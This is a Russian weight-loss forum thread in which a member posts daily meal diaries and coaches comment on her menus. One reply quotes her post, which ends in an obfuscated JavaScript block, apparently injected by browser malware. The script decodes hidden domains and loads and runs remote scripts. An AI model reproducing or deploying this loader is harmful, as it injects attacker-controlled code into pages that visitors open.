СуперЭкстраМагистр

Возраст : 39
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Пн 5 Окт 2015 - 9:37



[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Пн 5 Окт 2015 - 19:07

Возраст28
Вес первичный95
Вес последний93
Вес желаемый80
Рост170
Талия98
Статус:
?
Группа крови1+
Состояние нервной системы:
вспыльчивая
Контактность
Генетика-габитус:
Сила воли,терпениечастично
Честностьчестная
?
Горячие процедуры
?
Разгрузочные дни:
разгрузочные дни делала по совету
подруги которая была у вас на
программе переношу хорошо

   
Другое:
?
   
?
   
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Пн 5 Окт 2015 - 21:00

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
 
Жду меню! ladoshki


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Пн 5 Окт 2015 - 21:26

ХОРОШО, Спасибо Вам Большое!!! С Завтрашнего дня... 

avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Вт 6 Окт 2015 - 7:31

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]



[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор ЮлияАлександровна в Вт 6 Окт 2015 - 8:38

Добрый день! Добро пожаловать на программу! Напиши немного о себе, о своём способе жизни, о работе и т.д.


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
ЮлияАлександровна
,
,

Лошадь Женщина
Регистрация : 2010-02-13
Сообщений : 28268

СуперЭкстраМагистр

Возраст : 39
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вт 6 Окт 2015 - 18:32

Добрый Вечер!!! Я из г. Ессентуки, замужем, двое детей... Когда то по совету подруги худела по вашей программе, но не регистрировалась, она мне просто распечатала правило похудения, и я следовала этим правилам... похудела очень хорошо почти на 10 кг... Весила 81 кг... в моей жизни произошло горе, после чего я начала выпивать, конечно же я не спилась Слава Богу... но частенько так сказать для настроения в компаниях, чтобы отвлечь себя... Знаю что не выход, но когда немного собрала свою душу по кускам... Результат был Очевиден - 95 кг (12кг. за полгода)... Вот и решила зарегистрировалась у вас на сайте, чтобы вернуть себя (а то все ужасаются от меня)... У вас очень интересно!!! Низкий поклон разработчикам сайта! 
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вт 6 Окт 2015 - 18:40

06.10.2015
6.10 вода
6.30 кофе+3 дольки горького шоколада
6.50 2 жар. яйца+ винегрет 3 ст. ложки
09.00 чай зел.+ сухофрукты
10.00 ряженка 200 мл+ отруби (какие то в гранулах)1 ст. ложка
12.10 борщ + хлеб
14.40 творог+ кефир + соль
16.00 чай зел.+ сухофрукты
17.20 мясо свинины не жирное+винегрет
PS весы кухонные заказала в интернет магазине должны прийти скоро, работаю на приеме граждан поэтому не всегда получается полноценно питаться с салатом, буду по возможности стараться....
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Вт 6 Окт 2015 - 19:17

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
 
Начало многообещающее, молодец! Продолжаем блокнот! ladoshki
Блокнот - время воспитания организма.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] пишет: Сейчас для тебя не так важен точный вес, как точный режим во всем! Во времени взвешивания, подачи меню, соблюдения пищевого режима, режим питья воды и так далее. Это дисциплинирует тебя, и организм в целом. Он начнет понимать, когда его будут кормить, когда еду не дадут ни под каком "соусом", ну и тому подобное. Буквально через неделю-полторы, он все это усвоит, начнет доверять тебе. А значит, и беспокоить тебя излишне не будет. Но если ты будешь все делать беспорядочно, он будет теряться, и, на всякий случай, будет норовить сунуть в рот какую-нибудь ненужную гадость. Ну вот как плохо воспитанный и невыдержанный ребенок. Тогда он и будет требовать еду вне режима, и вне времени. Он очень умный и мудрый, твой организм. Так что пока начинай его воспитывать, да и себя тоже, и вы прекрасно поладите! Блокнот - это время воспитания! Чем лучше и правильнее ты все будешь делать, тем легче, вам обоим, будет жить!
Успеха тебе и удачи!
Модераторы, убирайте лишние тэги, спасибо!


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Воробушек в Вт 6 Окт 2015 - 19:43


[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] пишет:Модераторы, убирайте лишние тэги, спасибо!
я убрала  ladoshki , но и вчера в сообщении тоже были, и сегодня в двух)))


Таня, что ты вставляешь после того, как сообщение закончила? откуда у тебя этот лишний текст?
Спойлер:

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] пишет:06.10.2015
6.10 вода
6.30 кофе+3 дольки горького шоколада
6.50 2 жар. яйца+ винегрет 3 ст. ложки
09.00 чай зел.+ сухофрукты
10.00 ряженка 200 мл+ отруби (какие то в гранулах)1 ст. ложка
12.10 борщ + хлеб
14.40 творог+ кефир + соль
16.00 чай зел.+ сухофрукты
17.20 мясо свинины не жирное+винегрет
PS весы кухонные заказала в интернет магазине должны прийти скоро, работаю на приеме граждан поэтому не всегда получается полноценно питаться с салатом, буду по возможности стараться....
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20828",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("mypishka.net")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Юль, извини, что вмешалась))) не смогла пройти мимо)))
avatar
Воробушек
_
_

Буйвол Женщина
Регистрация : 2010-06-29
Сообщений : 21020

ЭкстраМагистр









Возраст : 44
Как вас называть? : Елена
Дети : Артем
Откуда : Россия, Пермь
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вт 6 Окт 2015 - 20:06

не знаю... ничего вроде не вставляла... напечатала- отправила от куда эти каляки не пойму..
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вт 6 Окт 2015 - 20:09

ужас.... зашла в правку удалила а оно опять....
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Вт 6 Окт 2015 - 21:35

А что ты там написала?


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вт 6 Окт 2015 - 21:57

просто текст печатаю... откуда появляется еще много букв не могу понять..

Это у тебя вирусы!
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Ср 7 Окт 2015 - 19:25

Добрый Вечер!!!!!! завтра попробую ноутбук отнести чтоб посмотрели....


07.10.2015

6.30 вода
6.50 кофе+3 дольки горького шоколада
7.10 мясо говядины+винегрет примерно 250гр
09.00 чай зел.+ сухофрукты
09.50 творог+ кефир + соль
12.10 борщ + хлеб
14.40 кефир 200 мл+ отруби (какие то в гранулах)1 ст. ложка
16.00 чай зел.+ сухофрукты
17.20 2 жар. яйца+ капуста+р.масло 3 ст. ложки
воды около 2х литров выпито
перед сном выпью кефир
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Ср 7 Окт 2015 - 19:54

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
 
Продолжаем меню! ladoshki


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Чт 8 Окт 2015 - 18:49

Добрый вечер!!!!


08.10.2015

6.30 вода
6.50 кофе+3 дольки горького шоколадаК кофе обязательны или твердый сыр 20г, или 1 стол. ложка творога!
7.10 мясо говядины+салат капустный примерно 250грМясо не менее 100г
09.00 чай зел.+ сухофрукты
10.00 творог+ кефир + соль К творогу нужен какой-нибудь фрукт или овощ!
12.10 борщ + хлеб+мясо
14.40 холодец куриный+ капустный салат около 250г
16.00 чай зел.+ сухофрукты
17.20 мясо свинины не жирное+ капустный салат
воды около 2х литров выпито
перед сном выпью кефир [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]


Последний раз редактировалось: петрова (Чт 8 Окт 2015 - 19:33), всего редактировалось 1 раз(а)
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Чт 8 Окт 2015 - 19:17

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
 
С учетом исправленного, все хорошо! Молодец! ladoshki


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Чт 8 Окт 2015 - 19:36

Хорошо!!! Болгарский перец подойдет к творогу? А то я сладкий не люблю творог.... Мясо ем не менее 100грамм...а сыр можно желтый есть? или брынзу... ООО я еще адыгейский люблю и сулугуни... Фруктовую пастилу можно с чаем? Спасибо!!!


Последний раз редактировалось: петрова (Чт 8 Окт 2015 - 19:40), всего редактировалось 1 раз(а)
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Чт 8 Окт 2015 - 19:39

Все что ты описала, очень подходит к твоему меню! Молодец! Умничка!


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Чт 8 Окт 2015 - 19:52

Ура!!! Я нашла как вставить линейки и картинки silent
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Пт 9 Окт 2015 - 17:22

Добрый Вечер!!!!!! 

09.10.2015

6.30 вода
6.50 кофе+3 дольки горького шоколада (сыр купила только после обеда...)
7.10 2 жар. яйца +салат (капуста, горох, морковь, болг. перец, зелень, раст. масло) 250гр
09.00 чай зел.+ фрукт. пастила
09.50 2 котлеты (куриный фарш+овощи+овсяные хлопья чуть чуть)+салат (капуста, горох, морковь, болг. перец, зелень, раст. масло) 250гр
12.10 суп+мясо + хлеб
14.40 холодец куриный+салат (капуста, горох, морковь, болг. перец, зелень, раст. масло) 250гр
16.00 чай зел.+ пастила
17.20 2 котлеты (куриный фарш+овощи+овсяные хлопья)+салат (капуста, горох, морковь, болг. перец, зелень, раст. масло) 250гр
воды около 2х литров выпито
перед сном выпью кефир [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Пт 9 Окт 2015 - 18:39

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
ЗАВТРА НАЧИНАЕТСЯ КОНФЕРЕНЦИЯ! С 10-16 октября!



[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Ника в Сб 10 Окт 2015 - 12:54

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
Татьяна!
У нас на форуме сегодня начала работу осенняя виртуальная конференция.
Твое присутствие обязательно!!!
Ждем тебя
:ок:  :ок:  :ок:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Каждый  день будет предложена новая тема для обсуждения.
Смело заходи по ссылке, читай, пиши, спрашивай, возражай, соглашайся, но только не молчи!!!

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
Спойлер:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
avatar
Ника
_
_

Овца Женщина
Регистрация : 2010-09-24
Сообщений : 39895

ЭкстраМагистр




Возраст : 62
Как вас называть? : Татьяна
Дети : взрослые дети, маленькие Ростиславчик и Ярославчик
Откуда : Украина
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Сб 10 Окт 2015 - 13:15

Добро пожаловать на Конференцию 2015г[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Участвуем в конференции. Пишем, отвечаем на вопросы, задаем вопросы, делимся впечатлениями!


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вс 11 Окт 2015 - 8:59

Добрый День!!!!!!  [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение] Прошу прощения, что вчера не выложила меню... Я ходила на ДР годик племяннице... Думала пораньше уйду и напишу... но не получилось... Простите... Конечно же я сожрала много лишнего за что себя очень корю... Слава Богу что поехала за рулем специально чтобы не пить спиртное... Теперь для меня будет уроком прибавленные килограммы за один вечер слезы  Беру себя в руки....Вечером сегодняшнее меню... А когда можно делать разгрузочные дни?
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Вс 11 Окт 2015 - 10:22

Добро пожаловать на Конференцию 2015г[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Участвуем в конференции. Пишем, отвечаем на вопросы, задаем вопросы, делимся впечатлениями!


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вс 11 Окт 2015 - 17:36

Добрый Вечер!!!!!!  [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение] 

11.10.2015

6.30 вода
6.50 кофе+3 дольки горького шоколада+сыр сулугуни
7.10 гречка+мясо +маринованные зел. помидоры 250
09.50 творог+болг. перец+соль 250гр
12.10 суп гороховый+мясо + хлеб
14.40 колбаса домашняя + мар. помидоры 250гр
16.00 2 яблока
17.20 борщ с фасолью 250гр
воды около 2х литров выпито
перед сном выпью кефир [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Ника в Вс 11 Окт 2015 - 18:08

Танюша, добрый вечер!
Пока у твоего Лекаря выходной  посмотрю твоё меню.
Ты с пятого октября на блокноте.
Для удобства перед каждым меню пиши шапку:
11 октября Блокнот  7 день
Воды 2 л выпила - молодец!
Первое блюдо присутствует - хорошо.
Ты не пишешь сколько съела супа горохового с мясом и хлебом:
12.10 суп гороховый+мясо + хлеб
Когда в меню первое блюдо встречается несколько раз ( у тебя 2 раза), то одну порцию с хлебом едим  350 г, а вторая уже как и все остальные порции по 250 г.
Между основными приемами пищи интервал 2-3 часа выдержан. Замечательно.
Разгрузки начинаются на втором этапе. privet
Спасибо за активное участие в конференции!


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
Спойлер:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
avatar
Ника
_
_

Овца Женщина
Регистрация : 2010-09-24
Сообщений : 39895

ЭкстраМагистр




Возраст : 62
Как вас называть? : Татьяна
Дети : взрослые дети, маленькие Ростиславчик и Ярославчик
Откуда : Украина
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вс 11 Окт 2015 - 21:27

Хорошо!!! Спасибо!!! ladoshki
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Пн 12 Окт 2015 - 17:22

12.10.2015 Блокнот  8 день
Добрый вечер!!!! privet


6.30 вода
6.50 кофе+3 дольки горького шоколада+сыр сулугуни
7.10 борщ 350
09.50 2 жар. яйца + мар. помидоры 250гр
12.10 борщ+мясо + хлеб 250
14.10 котлеты печеночные + мар. помидоры 250гр
17.00 творог+болг. перец+соль 250гр
воды около 2х литров выпито
перед сном выпью кефир [Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор ЮлияАлександровна в Вт 13 Окт 2015 - 10:09

Добрый день! Маринованные помидоры, огурцы мы на едим, они задерживают жидкость в организме. В день должно быть обязательно минимум два салата из свежих овощей с растительным маслом.


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
ЮлияАлександровна
,
,

Лошадь Женщина
Регистрация : 2010-02-13
Сообщений : 28268

СуперЭкстраМагистр

Возраст : 39
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Вт 13 Окт 2015 - 16:44

Добро пожаловать на Конференцию 2015г[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Участвуем в конференции. Пишем, отвечаем на вопросы, задаем вопросы, делимся впечатлениями!


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Вт 13 Окт 2015 - 17:33

12.10.2015 Блокнот  8 день
Добрый вечер!!!! Помидоры убрала и рациона... А во время критических дней может прибавиться вес?
6.30 вода
6.50 кофе+3 дольки горького шоколада+сыр сулугуни
7.10 мясо курицы+ салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
09.50 2 кур. котлеты+ салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
12.10 борщ+мясо + хлеб 250
14.10 2 кур. котлеты + салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
17.00 печ. котлеты + салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
воды около 2х литров выпито
перед сном выпью кефир 
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Вт 13 Окт 2015 - 19:49

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
 


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор ЮлияАлександровна в Ср 14 Окт 2015 - 10:05

Добрый день!
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] пишет:А во время критических дней может прибавиться вес?
НЕ обязательно, но может.
В салате кукуруза какая?
Стараемся кушать мясо цельными кусками, тогда тратится больше энергии(калорий) на переваривание.


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
avatar
ЮлияАлександровна
,
,

Лошадь Женщина
Регистрация : 2010-02-13
Сообщений : 28268

СуперЭкстраМагистр

Возраст : 39
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор петрова в Ср 14 Окт 2015 - 20:47

14.10.2015 Блокнот  10 день
Добрый вечер!!!! В салате кукурузу консервированная с баночки совсем чуть чуть, на счет котлет поняла...
6.30 вода
6.50 кофе+3 дольки горького шоколада+сыр сулугуни
7.10 мясо курицы+ салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
09.50 2 кур. котлеты+ салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
12.10 борщ+мясо + хлеб 250
14.10 мясо курицы + салат (капуста+болг. перец+морковь+кукуруза+ раст. масло)250
17.00 [size=16][size=16]творог+болг. перец+соль 
250гр

воды около 2х литров выпито
[/size][/size]
перед сном выпью кефир  privet
avatar
петрова
 
 

Тигр Женщина
Регистрация : 2015-10-01
Сообщений : 48

Возраст : 30
Как вас называть? : Таня
Откуда : Ессентуки

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Evgesha в Ср 14 Окт 2015 - 21:27

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение][Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]
 


[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

